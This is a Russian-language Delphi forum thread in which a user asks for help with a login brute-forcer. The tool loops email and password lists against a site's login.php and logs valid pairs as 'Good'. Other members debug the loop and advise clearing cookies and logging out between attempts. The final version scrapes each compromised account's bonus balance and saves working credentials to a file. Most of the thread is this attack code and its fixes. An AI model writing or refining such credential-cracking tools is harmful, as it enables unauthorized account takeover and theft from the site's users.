 |
Помощь с брутом - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
13.12.2011, 16:48
|
#1
|
|
|
|
Разведчик
|
 Регистрация: 08.12.2010
 Сообщений: 0
 Популярность: -9
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Помощь с брутом
Вообщем бручу простенький сайт без капчи и прокси. Проблема в том что он перебирает логины и пароли до ближайшего гуда, а как только ловит гуд, то следом за ним начинает все определять как гуд
Ну т.е. примерно так:
login;pass - Действительно Bad
login;pass - Действительно Bad
login;pass - Действительно Good
login;pass - Ложный Good
login;pass - Ложный Good
 |
Цитата: |
 |
|
|
|
|
|
|
|
procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=idhttp1.Post('сайт', post);
if pos('logout', result)<>0 then
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good')
else
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
end;
end;
end;
end. |
|
 |
|
 |
|
Последний раз редактировалось 19955991; 13.12.2011 в 16:51.
Причина: Показал более наглядно
|
|
|
13.12.2011, 18:27
|
#2
|
|
|
|
Лейтенант-командор
|
 Регистрация: 12.08.2010
 Сообщений: 727
 Популярность: 30569
 Золото Zhyk.Ru: 1
 Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Помощь с брутом
Вставь это после конструкции if..then..else
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
13.12.2011, 19:41
|
#3
|
|
|
|
Разведчик
|
 Регистрация: 08.12.2010
 Сообщений: 0
 Популярность: -9
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Помощь с брутом
|
|
|
13.12.2011, 19:46
|
#4
|
|
|
|
Лейтенант-командор
|
 Регистрация: 12.08.2010
 Сообщений: 727
 Популярность: 30569
 Золото Zhyk.Ru: 1
 Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Помощь с брутом
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=idhttp1.Post('сайт', post);
if pos('logout', result)<>0 then
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good');
result:=''
else
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
result:='';
end;
end;
end;
end.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
13.12.2011, 20:15
|
#5
|
|
|
|
Разведчик
|
 Регистрация: 08.12.2010
 Сообщений: 0
 Популярность: -9
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Помощь с брутом
VeTaL_UA, и опять не то, дело в том что так как ты написал не получиться, надо после then добавлять begin и end перед else соответственно, а в таком случае также начинает неправильно определять(все гуды), может сайт и пароль в личку скинуть, посмотришь?
|
|
|
13.12.2011, 20:31
|
#6
|
|
|
|
Лейтенант-командор
|
 Регистрация: 12.08.2010
 Сообщений: 727
 Популярность: 30569
 Золото Zhyk.Ru: 1
 Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Помощь с брутом
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=idhttp1.Post('сайт', post);
if pos('logout', result)<>0 then
begin
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good');
end
else
begin
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
end;
result:='';
end;
end;
end;
end.
Должно работать, или дело в запросе...
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
13.12.2011, 23:34
|
#7
|
|
|
|
Рыцарь-защитник
|
 Регистрация: 14.06.2010
 Сообщений: 584
 Популярность: 6626
 Сказал(а) спасибо: 86
Поблагодарили 847 раз(а) в 266 сообщениях
|
Re: Помощь с брутом
куки чисти и не забудь перед следующим подбором нажать волшебную кнопочку "выход" на сайте
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Последний раз редактировалось Mebius; 13.12.2011 в 23:47.
|
|
|
14.12.2011, 16:23
|
#8
|
|
|
|
Разведчик
|
 Регистрация: 08.12.2010
 Сообщений: 0
 Популярность: -9
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Помощь с брутом
 |
Цитата: |
 |
|
|
|
|
|
|
|
|
куки чисти и не забудь перед следующим подбором нажать волшебную кнопочку "выход" на сайте
|
|
 |
|
 |
|
спасибо большое!!!
Подскажите еще пожалуйста как сделать чтобы брут перебирал 1 пароль к 1 логину.
Сейчас он перебирает 1 логину все пароли
|
|
|
14.12.2011, 16:33
|
#9
|
|
|
|
Лейтенант-командор
|
 Регистрация: 12.08.2010
 Сообщений: 727
 Популярность: 30569
 Золото Zhyk.Ru: 1
 Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Помощь с брутом
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
14.12.2011, 16:38
|
#10
|
|
|
|
Разведчик
|
 Регистрация: 08.12.2010
 Сообщений: 0
 Популярность: -9
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Помощь с брутом
Всем спасибо, разобрался
Добавлено через 21 час 16 минут
Вообщем опять проблемы 
Один цикл убрал но опять же перебирает 1 пароль ко всем логинам, не пойму в чем проблема, вроде все правильно, перепробовал уже все что можно и нельзя.
 |
Цитата: |
 |
|
|
|
|
|
|
|
procedure TForm1.Button1Click(Sender: TObject);
var
post, good, bad:TStringList;
i,j:integer;
result:tStringlist;
bal: String;
sgood,sbad:integer;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
result:=tstringlist.Create;
good:=tstringlist.Create;
bad:=tstringlist.Create;
sgood:=0;
sbad:=0;
email.LoadFromFile('logins.txt');
pass.LoadFromFile('pass.txt');
for I := 0 to email.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+email.Strings[i]);
post.Add('userPass='+pass.Strings[J]);
result.Text:=idhttp1.Post('Сайт', post);
if pos('logout', result.Text)<>0 then
begin
bal:=pars('<a href="/bonuses.php">', result.Text, '</a>');
memo3.Lines.Add(email.Strings[i]+';'+pass.Strings[j]+' - Good'+bal);
good.Add(email.Strings[i]+';'+pass.Strings[j]+bal);
good.SaveToFile('Good.txt');
sgood:=sgood+1;
StaticText1.Caption:=inttostr(sgood);
result.Text:=idhttp1.Get('http://сайт.ru/login.php?action=logout');
end
else
begin
memo3.Lines.Add(email.Strings[i]+';'+pass.Strings[j]+' - Bad');
result.Clear;
bad.Add(email.Strings[i]+';'+pass.Strings[j]);
bad.SaveToFile('Bad.txt');
sbad:=sbad+1;
StaticText2.Caption:=inttostr(sbad)
end;
end;
end;
end. |
|
 |
|
 |
|
Последний раз редактировалось 19955991; 15.12.2011 в 13:55.
Причина: Добавлено сообщение
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 11:05.
|
 |